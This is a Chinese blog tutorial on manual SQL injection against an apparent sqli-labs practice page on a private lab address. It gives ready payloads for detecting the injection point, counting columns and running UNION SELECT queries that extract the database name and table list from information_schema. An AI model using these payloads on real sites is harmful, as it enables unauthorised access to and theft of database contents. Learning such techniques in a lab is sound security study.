网络学习-sql注入

网络学习-sql注入

一、检测注入点

在这里插入图片描述
在这里插入图片描述
请求中的参数为:查询字符串 id:1
在这里插入图片描述

二、判断是否存在 SQL 注入可能

SQL 语句未正确结束,因此返回了一个错误页面,如图所示:在这里插入图片描述

继续测试 and 1=1

http://10.40.105.2:28410/Less-1/?id=1' and 1=1 --+

SQL 语句用 and 连接可以设置多个条件,目前返回一个永久为真的条件,因此返回了一个正常页面,如图所示:
在这里插入图片描述
继续测试 and 1=1 和 and 1=2:
一个恒等式,一个恒不等式,输入 and 1=1 页面返回正常,而如果输入 and 1=2 时页面返回出错,说明 SQL 语句被执行,程序没有对敏感字符进行过滤
在这里插入图片描述

现在可以确定此处是一个 SQL 注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。

三、数据库爆破

现在要判断数据库类型以及版本,构造语句如下:

http://10.40.105.2:28410/Less-1/?id=1' ord(mid(version(),1,1))>51 --+

发现返回正常页面,说明数据库是 MySQL,并且版本大于 4.0,支持 union 查询,反之是 4.0 以下版本或者其他类型数据库。
在这里插入图片描述

四、字段爆破

进一步猜测数据注入位置:

如果返回错误,说明字段小于 10:

http://10.40.105.2:28410/Less-1/?id=1' order by 10 --+

在这里插入图片描述如果返回错误,说明字段小于 4:
在这里插入图片描述如果返回错误,说明字段为 3:
在这里插入图片描述

五、数据库表爆破

在查询之前,我们先来了解一下sql注入中的union用法


sql注入联合查询中,我们会碰到union select 1,2,3。那这个是什么意思呢, union
select只能查询两个表中共同都有的字段,如果一个字段在另外一个表中没有,就会报错

select name from student union select teacher from zhigong 

返回结果:就是两个表的并集

select直接加数字串时,可以不写后面的表名,那么它输出的内容就是我们select后的数字,这时我们写的一串数字就是一个数组(或1个行向量),这时select实际上没有向任何一个数据库查询数据,即查询命令不指向任何数据库的表。select 之后可以接一串数字:1,2,3…只是一个例子,可以看做给表中的列起了一个别名

在Union注入时,由于我们已经知道了前面语句的字段数

现在要构造联合查询语句 (union select),语句如下:(列数一定要对应)

http://10.40.105.2:28410/Less-1/?id=1 and 1=3 union select 1,2,3 --+

可以发现在页面中,原先的内容没有了,取而代之的是返回的数字 2,这个数字指的是我们可以把联合查询的对应位置替换为想要查询的关键字,比如版本,数据库名称,主要是用来探测 web 系统的信息。

在这里插入图片描述

六、用户名、密码爆破

可以把 3 替换掉,先查询数据库名称,构造语句如下:

http://10.40.105.2:28410/Less-1/?id=1' and 1=2 union select 1,2, database() --+

在这里插入图片描述浏览器返回了 security,说明这个网站的数据库名称是 security
用同样的手法查询表名,构造语句如下:

http://10.40.105.2:27027/Less-1/?id=1' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema= 'security' --+

在这里插入图片描述查询所有的表

http://10.40.105.2:23911/Less-1/?id=1' and 1=2 union select 1,2,GROUP_CONCAT(table_name) from information_schema.tables where table_schema= 'security'--+

在这里插入图片描述

用表名是 emails
再用同样的手法猜测emails的字段,构造语句如下:
在这里插入图片描述字段名称存在id

  • 12
    点赞
  • 50
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

可可鸭~

想吃糖~我会甜

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值